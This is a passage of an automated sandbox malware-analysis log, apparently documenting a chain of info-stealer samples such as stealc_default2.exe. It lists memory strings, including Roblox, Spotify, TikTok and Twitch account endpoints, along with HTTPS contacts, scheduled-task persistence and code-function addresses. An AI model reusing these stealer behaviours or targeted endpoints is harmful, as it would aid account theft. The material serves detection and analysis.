Source: v_dolg.exe, 00000020.00000003.3891372130.000000000386D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADB9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/dev/peps/pep-0205/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/dev/peps/pep-0506/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/user/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/user/acomment_karmaatotal_karmaais_modais_goldais_suspendedaprofileUrlu
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.roblox.com/my/account/json
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.roblox.com/my/account/jsonuhttps://economy.roblox.com/v1/users/aresaUserIdu/currencyuhtt
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.spotify.com/api/account-settings/v1/profile
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.spotify.com/api/account-settings/v1/profileatextaloadsaprofileagenderabirthdateu
Source: stealc_default2.exe, 00000014.00000002.3322120642.00000000272C2000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3179663648.0000000003AFB000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3915132366.0000000003752000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914814392.0000000003750000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914624831.000000000374D000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914458166.0000000003743000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3915320012.0000000003756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&ba
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.twitch.tv/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.twitch.tv/adisplayNameahasPrimeaisPartneralanguageaprofileImageURLabitsBalanceatotalCoun
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.variomedia.de/
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: stub.exe, 00000023.00000003.3718319749.0000022F66F1E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000003.3718958593.0000022F66F2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/
Source: stub.exe, 00000023.00000003.3718897767.0000022F66F4F000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000003.3718746787.0000022F66F42000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000003.3718319749.0000022F66F1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/0m
Source: stub.exe, 00000023.00000003.3718319749.0000022F66F1E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000003.3718958593.0000022F66F2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/o6

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443

Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.6:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.6:50068 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:50094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:50099 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: random.exe.6.exe	Static PE information: section name:
Source: random.exe.6.exe	Static PE information: section name: .idata
Source: axplong.exe.1.dr	Static PE information: section name:
Source: axplong.exe.1.dr	Static PE information: section name: .idata

PE file has a writeable .text section

Source: stealc_default2[1].exe.19.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: stealc_default2.exe.19.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_006ACAC7 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,	19_2_006ACAC7
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C58B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	20_2_6C58B700
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C58B8C0 rand_s,NtQueryVirtualMemory,	20_2_6C58B8C0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C58B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	20_2_6C58B910
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C52F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	20_2_6C52F280

Source: C:\Users\user\Desktop\random.exe.6.exe	File created: C:\Windows\Tasks\axplong.job	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	File created: C:\Windows\Tasks\Gxtuum.job
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	File created: C:\Windows\Tasks\defnur.job

Source: C:\Users\user\Desktop\random.exe.6.exe	Code function: 1_2_00AA5B93	1_2_00AA5B93
Source: C:\Users\user\Desktop\random.exe.6.exe	Code function: 1_2_00AA4AF0	1_2_00AA4AF0
Source: C:\Users\user\Desktop\random.exe.6.exe	Code function: 1_2_00BB7A7E	1_2_00BB7A7E
Source: C:\Users\user\Desktop\random.exe.6.exe	Code function: 1_2_00AA4CF0	1_2_00AA4CF0
Source: C:\Users\user\Desktop\random.exe.6.exe	Code function: 1_2_00AE8720	1_2_00AE8720
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_006D3068	2_2_006D3068
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_00694AF0	2_2_00694AF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_006D2BD0	2_2_006D2BD0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_00694CF0	2_2_00694CF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_006C7D83	2_2_006C7D83
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_006D765B	2_2_006D765B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_006D777B	2_2_006D777B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_006D8720	2_2_006D8720
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_006D6F09	2_2_006D6F09
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 3_2_006D3068	3_2_006D3068
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 3_2_00694AF0	3_2_00694AF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 3_2_006D2BD0	3_2_006D2BD0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 3_2_00694CF0	3_2_00694CF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 3_2_006C7D83	3_2_006C7D83
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 3_2_006D765B	3_2_006D765B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 3_2_006D777B	3_2_006D777B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 3_2_006D8720	3_2_006D8720
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 3_2_006D6F09	3_2_006D6F09
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_0069E440	19_2_0069E440
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_006B60C2	19_2_006B60C2
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_006D8720	19_2_006D8720
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_00694AF0	19_2_00694AF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_006D2BD0	19_2_006D2BD0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_00694CF0	19_2_00694CF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_006B0D43	19_2_006B0D43
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_006D6F09	19_2_006D6F09
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_006D3068	19_2_006D3068
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_006B1532	19_2_006B1532
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_006D765B	19_2_006D765B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_006E16BC	19_2_006E16BC
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_006D777B	19_2_006D777B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_006B3D21	19_2_006B3D21
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_006C7D83	19_2_006C7D83
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C5235A0	20_2_6C5235A0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C59545C	20_2_6C59545C
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C535440	20_2_6C535440
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C565C10	20_2_6C565C10
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C572C10	20_2_6C572C10
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C59AC00	20_2_6C59AC00
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C59542B	20_2_6C59542B
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C54D4D0	20_2_6C54D4D0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C5364C0	20_2_6C5364C0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C566CF0	20_2_6C566CF0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C52D4E0	20_2_6C52D4E0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C536C80	20_2_6C536C80
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C5834A0	20_2_6C5834A0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C58C4A0	20_2_6C58C4A0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C54ED10	20_2_6C54ED10
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C550512	20_2_6C550512
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C53FD00	20_2_6C53FD00
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C560DD0	20_2_6C560DD0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C5885F0	20_2_6C5885F0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C549E50	20_2_6C549E50
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C563E50	20_2_6C563E50
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C544640	20_2_6C544640
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C572E4E	20_2_6C572E4E
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C52C670	20_2_6C52C670
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C596E63	20_2_6C596E63
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C567E10	20_2_6C567E10
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C575600	20_2_6C575600
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C589E30	20_2_6C589E30
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C52BEF0	20_2_6C52BEF0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C53FEF0	20_2_6C53FEF0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C5976E3	20_2_6C5976E3
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C545E90	20_2_6C545E90
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C58E680	20_2_6C58E680
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C584EA0	20_2_6C584EA0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C567710	20_2_6C567710
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C539F00	20_2_6C539F00
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C556FF0	20_2_6C556FF0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C52DFE0	20_2_6C52DFE0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C5777A0	20_2_6C5777A0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C548850	20_2_6C548850
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C54D850	20_2_6C54D850
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C56F070	20_2_6C56F070
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C537810	20_2_6C537810
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C56B820	20_2_6C56B820
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C574820	20_2_6C574820
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C5950C7	20_2_6C5950C7
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C54C0E0	20_2_6C54C0E0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C5658E0	20_2_6C5658E0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C5560A0	20_2_6C5560A0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C54A940	20_2_6C54A940
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C57B970	20_2_6C57B970
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C59B170	20_2_6C59B170
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C53D960	20_2_6C53D960
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C565190	20_2_6C565190
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C582990	20_2_6C582990
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C55D9B0	20_2_6C55D9B0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C52C9A0	20_2_6C52C9A0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C569A60	20_2_6C569A60
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C568AC0	20_2_6C568AC0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C541AF0	20_2_6C541AF0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C56E2F0	20_2_6C56E2F0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C59BA90	20_2_6C59BA90
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C53CAB0	20_2_6C53CAB0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C592AB0	20_2_6C592AB0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C5222A0	20_2_6C5222A0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C554AA0	20_2_6C554AA0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C525340	20_2_6C525340
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C53C370	20_2_6C53C370
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C56D320	20_2_6C56D320
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C5953C8	20_2_6C5953C8
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C52F380	20_2_6C52F380
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C5DAC60	20_2_6C5DAC60
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C6AAC30	20_2_6C6AAC30
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C696C00	20_2_6C696C00
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C5CECC0	20_2_6C5CECC0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C62ECD0	20_2_6C62ECD0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C69ED70	20_2_6C69ED70
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C6FAD50	20_2_6C6FAD50
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C758D20	20_2_6C758D20
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C75CDC0	20_2_6C75CDC0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C5D4DB0	20_2_6C5D4DB0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C666D90	20_2_6C666D90
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C66EE70	20_2_6C66EE70
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C6B0E20	20_2_6C6B0E20
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C5DAEC0	20_2_6C5DAEC0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C670EC0	20_2_6C670EC0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C656E90	20_2_6C656E90
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C692F70	20_2_6C692F70
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C63EF40	20_2_6C63EF40
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C5D6F10	20_2_6C5D6F10
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C710F20	20_2_6C710F20
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C6AEFF0	20_2_6C6AEFF0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C5D0FE0	20_2_6C5D0FE0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C718FB0	20_2_6C718FB0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C5DEFB0	20_2_6C5DEFB0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C6A4840	20_2_6C6A4840
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C620820	20_2_6C620820
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C65A820	20_2_6C65A820
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C6D68E0	20_2_6C6D68E0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C608960	20_2_6C608960
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C626900	20_2_6C626900
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C6EC9E0	20_2_6C6EC9E0
